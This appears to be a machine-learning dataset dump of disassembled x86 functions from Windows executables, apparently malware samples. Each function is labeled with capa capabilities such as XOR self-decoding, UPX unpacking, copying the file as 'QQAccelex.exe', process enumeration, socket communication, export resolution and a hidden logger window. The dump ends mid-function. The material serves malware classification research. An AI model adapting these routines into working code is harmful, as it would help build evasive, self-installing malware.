joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f84
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x405f93
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x405fb1
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40600f
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x405ff6
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x405fff
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x406009
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x405feb
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x405f75
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x40605c
dec eax
je 0x406053
sub eax, 3
je 0x40604a
mov dword [ebp - 4], 0x40
jmp 0x406079
das
mov dword [ebp - 4], 4
jmp 0x40605f
mov dword [ebp - 4], 0x20
jmp 0x40605f
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
jne 0x406077
call dword [ebp - 0xbc]
test eax, eax
je 0x4060ab
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc ebp
or byte [edi + 0x3b], al
mov ebp, 0xffffff74
jbe 0x40602b
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004058bc
push ecx
inc edi
ret
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x259071c1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x77640d7b
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check mutex on windows

Disassembly:
push esi
xor esi, esi
push str.DE622D185C1BC760E40CCDB249B95612
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jns 0x40102d
js 0x40102d
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
test eax, eax
je 0x401043
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 1
je 0x401045
mov eax, esi
pop esi
ret

Function at 0x401050
Capabilities:
Create directory
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
jns 0x401079
js 0x401079
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
push 1
lea eax, [ebp - 0x104]
push 0x1a
push eax
push 0
call esi
cmp eax, 1
je 0x4010e7
jns 0x4010b2
js 0x4010b2
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push 1
lea ecx, [ebp - 0x104]
push 0x23
push ecx
push 0
call esi
cmp eax, 1
je 0x4010e7
lea edx, [ebp - 0x104]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x104]
push edx
push 0x104
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40120a
push ebx
jns 0x401114
js 0x401114
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
mov edi, 0x406064
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x104]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, str.QQAccelex.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x104]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jns 0x40119b
js 0x40119b
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
lea eax, [ebp - 0x104]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jns 0x4011d3
js 0x4011d3
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
lea edx, [ebp - 0x208]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x208]
push 0x104
push edx
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
lea ecx, [ebp - 0x208]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4013c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
or ebx, 0xffffffff
jns 0x4013e4
js 0x4013e4
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x40147a
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [ebp - 0x128]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40146a
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [ebp - 0x104]
push str.explorer.exe
push ecx
call edi
add esp, 8
test eax, eax
je 0x401464
lea edx, [ebp - 0x128]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40146a
lea eax, [ebp - 0x104]
push str.explorer.exe
push eax
call edi
add esp, 8
test eax, eax
jne 0x40143e
mov ebx, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401490
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
call fcn.004013c0
mov dword [ebp - 4], eax
xor bl, bl
jns 0x4014b8
js 0x4014b8
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x401535
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [ebp - 0x12c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401525
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
cmp eax, dword [ebp - 0x124]
jne 0x401510
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x114]
cmp ecx, eax
je 0x401523
lea edx, [ebp - 0x12c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401525
jmp 0x4014f9
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4018f0
Capabilities:
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 4], 0x648
mov dword [ebp - 8], 0
jns 0x401925
js 0x401925
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0xc], ebx
je 0x401a45
mov ecx, dword [ebp - 4]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jns 0x40196c
js 0x40196c
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
lea eax, [ebp - 4]
push eax
push ebx
call sub.iphlpapi.dll_GetNetworkParams
test eax, eax
je 0x40198d
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
test edx, edx
je 0x4019be
lea edi, [ebx + 0x110]
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 8], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jns 0x4019dd
js 0x4019dd
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
mov ebx, dword [ebx + 0x10c]
test ebx, ebx
je 0x401a32
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
shl edx, 4
add edx, eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x401a2c
cmp dword [ebp - 8], 0x80
jae 0x401a2c
lea edi, [ebx + 4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 8]
inc ecx
add edx, 0x10
mov dword [ebp - 8], ecx
mov ebx, dword [ebx]
test ebx, ebx
jne 0x4019f2
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401d70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [0x4062f0]
push esi
push edi
mov ecx, 0x43
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jns 0x401da6
js 0x401da6
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
mov ax, word [0x4062f4]
mov edi, dword [sym.imp.WS2_32.dll_htons]
push 0x100
mov word [ebx], ax
call edi
push 1
mov word [ebx + 2], ax
call edi
mov word [ebx + 4], ax
xor eax, eax
push 1
mov word [ebx + 6], ax
mov word [ebx + 8], ax
mov word [ebx + 0xa], ax
call edi
push 1
mov dword [ebp - 4], eax
call edi
mov edi, dword [ebp + 0x18]
mov dword [ebp - 8], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
and ecx, 0xffff
add ecx, 2
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
mov dword [ebp - 0xc], esi
jne 0x401e16
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x18]
add edi, 2
push edi
push esi
push edx
call fcn.00401a50
add esp, 0xc
test eax, eax
jne 0x401e32
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jns 0x401e52
js 0x401e52
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add ebx, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov eax, ecx
inc eax
mov dword [ebp + 0x18], eax
and eax, 0xffff
mov ecx, eax
add ebx, eax
mov edx, ecx
mov ax, word [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov cx, word [ebp - 8]
mov word [ebx], ax
mov word [ebx + 2], cx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [ebp + 8]
mov ecx, dword [0x4062f0]
mov edx, dword [0x4062fc]
push 0x10
push eax
mov eax, dword [ebp + 0x18]
push 0
add ax, 0x10
and eax, 0xffff
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402220
Capabilities:
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
push esi
push edi
jns 0x402248
js 0x402248
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
je 0x40236a
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x4062fc], eax
je 0x40236a
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [0x4062fc]
push 1
push eax
push ecx
mov dword [0x4062f8], eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
push 0x10f
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [0x4062f0], eax
test eax, eax
je 0x40236a
jns 0x4022c8
js 0x4022c8
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, dword [ebp + 8]
push 0x35
mov word [0x4062f4], ax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp + 0xc]
mov word [ebp - 0xe], ax
mov edi, dword [ebp - 0x10]
push edx
sub esp, 0x10
mov ebx, dword [ebp - 8]
mov eax, esp
mov ecx, dword [ebp - 4]
mov dword [eax], edi
mov dword [eax + 4], esi
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ecx
call fcn.00401d70
add esp, 0x14
test eax, eax
je 0x40235c
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
push edx
mov edx, dword [ebp + 0x18]
push eax
push ecx
push edx
sub esp, 0x10
mov ecx, dword [ebp - 4]
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], esi
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ecx
call fcn.00401ee0
add esp, 0x20
test eax, eax
je 0x40235c
mov edx, dword [0x4062f0]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4062f0]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4024d0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
jns 0x4024f8
js 0x4024f8
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push str.www.hao123.com
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40254b
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40254b
jns 0x402530
js 0x402530
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push str.www.hao123.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40254b
mov ecx, dword [eax + 0xc]
pop esi
mov edx, dword [ecx]
mov eax, dword [edx]
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
or ebx, 0xffffffff
jns 0x40258c
js 0x40258c
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x4025aa
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
jns 0x4025c7
js 0x4025c7
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x402677
push edi
push str.127.0.0.1
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x830f
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
jns 0x402615
js 0x402615
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
lea ecx, [ebp - 0x10]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40266f
mov edi, dword [ebp + 8]
push 0
push 0x1000
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0x1000
jne 0x40266f
jns 0x40265b
js 0x40265b
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
clc
push 0
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x1000
jne 0x40266f
xor ebx, ebx
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc3e1e3
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
je 0x85f578
mov eax, dword [eax + ecx + 0x7c]
push ebx
clc
push edi
mov dword [ebp - 0x10], eax
clc
mov dword [ebp - 8], 0xffffffff
clc
cmp esi, 0xffff
ja 0xccef0d
mov eax, esi
test eax, edx
clc
sub eax, dword [edx + ecx + 0x10]
jmp 0xc8a3d3
jne 0x85f578
mov edx, dword [eax + ecx + 0x78]
test bp, si
stc
mov dword [ebp - 4], edx
test edx, edx
jmp 0x791647
mov eax, dword [ecx + 0x3c]
cmp esp, 0x3a9e0388
cmp ecx, edx
cmp dword [eax + ecx], 0x4550
jmp 0x7c3dab
lea eax, [eax + ecx]
test dh, 0x68
cmc
xor ebx, ebx
jmp 0x85ecef
mov eax, dword [ebp + 8]
btc edx, 0x59
bsr dx, di
mov ecx, dword [ebp - 4]
movsx edx, si
mov edx, dword [ecx + eax + 0x24]
xchg cx, cx
lea ecx, [edx + esi*2]
rcl edx, 0x1a
movzx edx, word [ecx + eax]
cmp si, 0x6184
mov dword [ebp - 8], edx
and cx, 0x734c
mov ecx, eax
or ah, 0x88
xor edx, 0x729441b0
mov edx, dword [ebp - 4]
dec eax
sbb al, 0x37
bswap eax
mov eax, dword [ebp - 8]
test dx, si
cmp eax, dword [edx + ecx + 0x14]
jmp 0xc32e0e
dec edi
jmp 0xbce838
je 0x7cd156
sub eax, eax
pop esi
jmp 0xbf8c68
je 0x84e6df
mov eax, dword [edx + ecx + 0x20]
stc
test bx, 0x78bb
jmp 0x82efa2
jle 0x84e69d
lea ebx, [esi + 1]
btr ecx, 0x7b
mov ecx, dword [ebp + 8]
cmp ebx, edi
jmp 0xc00656
mov dword [ebp - 0xc], eax
js 0x84e6df
jmp 0xc4f4e9
mov esp, ebp
pop ebp
jmp 0xc73813
jle 0xc4f4e6
jmp 0x84e6d7
push edx
mov dx, bp
mov edx, dword [ebp + 0xc]
clc
add eax, ecx
jmp 0xcabfb5
push ebp
mov ebp, esp
xor cx, ax
mov ecx, dword [ebp + 8]
lea esp, [esp - 0x114]
push esi
stc
test ecx, ecx
jmp 0xcb3801
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea esi, [edi + ebx]
sar esi, 1
cmp si, si
mov eax, dword [eax + esi*4]
jmp 0xc1b57c
jmp 0x84e6df
ret
mov dword [ebp - 8], eax
jmp 0xc5055b
call fcn.0086b877
add esp, 4
clc
test eax, eax
jmp 0xcdfc06
je 0x85f578
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x85f578
mov eax, 0x5a4d
stc
cmp esi, 0xcad645a
cmp esp, ebp
cmp word [ecx], ax
jmp 0x85f572
mov edi, dword [edx + ecx + 0x18]
test edi, edi
jmp 0x88dba6
jns 0xbb3bd9
lea edi, [esi - 1]
jmp 0xbb3be6
Function at 0x45e930
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x52000]
push edi
or ebp, 0xffffffff
jmp 0x45e952
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45e959
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45e948
mov eax, 1
add ebx, ebx
jne 0x45e96b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45e960
jne 0x45e97c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45e960
xor ecx, ecx
sub eax, 3
jb 0x45e990
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45ea02
mov ebp, eax
add ebx, ebx
jne 0x45e99b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45e9a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45e9cc
inc ecx
add ebx, ebx
jne 0x45e9b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45e9ad
jne 0x45e9c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45e9ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45e9ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45e9dd
jmp 0x45e94e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45e9ec
add edi, ecx
jmp 0x45e94e
pop esi
mov edi, esi
mov ecx, 0x299
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x45ea0a
cmp byte [edi], 4
jne 0x45ea0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x45ea0f
lea edi, [esi + 0x5c000]
mov eax, dword [edi]
or eax, eax
je 0x45ea7e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5e724]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5e7b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45ea3c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5e7c0]
or eax, eax
je 0x45ea78
mov dword [ebx], eax
add ebx, 4
jmp 0x45ea59
call dword [esi + 0x5e7bc]
mov ebp, dword [esi + 0x5e7c4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45eab2
sub esp, 0xffffff80
jmp 0x40c3b7
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..retplne
mov ebx, 0x40de38
nop
nop
mov ecx, 0x107e29c7
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..reloc
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x3c3f2b32
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401980
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x50], eax
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 8
push eax
mov dword [esp + 0x40], 0x20
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
push 0
mov dword [esp + 0x14], 0
movlpd qword [esp + 0x1c], xmm0
movlpd qword [esp + 0x28], xmm0
movlpd qword [esp + 0x30], xmm0
mov dword [esp + 0x18], 0x401700
call esi
mov dword [esp + 0x20], eax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x38], str.BavicLogger
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0
call esi
push eax
push 0
push 0
push 0x190
push 0x190
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Bavic_Logger
push str.BavicLogger
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x401a49
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.00401ab3
mov esp, ebp
pop ebp
ret
push 1
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x40]
push 0
push 0
